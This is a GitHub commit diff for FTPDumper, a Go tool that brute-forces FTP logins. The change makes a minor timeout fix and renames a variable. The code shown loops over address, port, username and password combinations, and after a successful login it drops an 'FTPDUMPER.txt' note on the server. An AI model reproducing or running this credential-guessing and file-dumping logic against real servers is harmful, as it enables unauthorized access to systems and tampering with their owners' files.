Skip to content

Commit

Permalink
Timeout Fix
Browse files Browse the repository at this point in the history
  • Loading branch information
Sno committed Apr 14, 2024
1 parent 2ebe23f commit 0597450
Show file tree
Hide file tree
Showing 4 changed files with 7 additions and 9 deletions.
3 changes: 0 additions & 3 deletions Core/core.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ package Core

import (
"FTPDumper/Utility"
"bytes"
"errors"
"fmt"
"github.com/integrii/flaggy"
Expand All @@ -26,8 +25,6 @@ var (
OutputFolder = "files"
Type EscannerType
Counter = Utility.NewCounter()
DumperText = bytes.NewReader([]byte("Fix your server credentials\n" +
"You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n"))
)

var (
Expand Down
4 changes: 3 additions & 1 deletion Dumper/dumper.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
"FTPDumper/Core"
"FTPDumper/Utility"
"FTPDumper/ftp"
"bytes"
"crypto/sha256"
"encoding/hex"
"fmt"
Expand Down Expand Up @@ -81,7 +82,8 @@ func Try(address, port, user, password string) error {
}
}

_ = client.UploadFile("FTPDUMPER.txt", Core.DumperText)
_ = client.UploadFile("FTPDUMPER.txt", bytes.NewReader([]byte("Fix your server credentials\n"+
"You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n")))

return nil
}
4 changes: 2 additions & 2 deletions ftp/ftp.go
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
package ftp

import (
"FTPDumper/Core"
"github.com/jlaffaye/ftp"
"io"
"os"
"time"
)

type Client interface {
Expand Down Expand Up @@ -40,7 +40,7 @@ func NewFTPClient(username, password string) Client {
//
// It takes the server address as a parameter and returns an error.
func (f *FTP) Connect(address string) error {
conn, err := ftp.Dial(address, ftp.DialWithTimeout(time.Second*5)) // make timeout in args
conn, err := ftp.Dial(address, ftp.DialWithTimeout(Core.Timeout)) // make timeout in args
if err != nil {
return err
}
Expand Down
5 changes: 2 additions & 3 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -36,12 +36,12 @@ func main() {
}
}()

for next, err := reader.Next(); next != "" && err == nil; next, err = reader.Next() {
for address, err := reader.Next(); address != "" && err == nil; address, err = reader.Next() {
pool.Submit(func() {
for _, port := range Core.Ports {
for _, user := range Core.Users {
for _, password := range Core.Passwords {
err := Dumper.Try(next, port, user, password)
err := Dumper.Try(address, port, user, password)
if errors.Is(err, Core.TimeoutErr) {
return
}
Expand All @@ -55,7 +55,6 @@ func main() {
}
}
}

})
}
}

0 comments on commit 0597450

Please sign in to comment.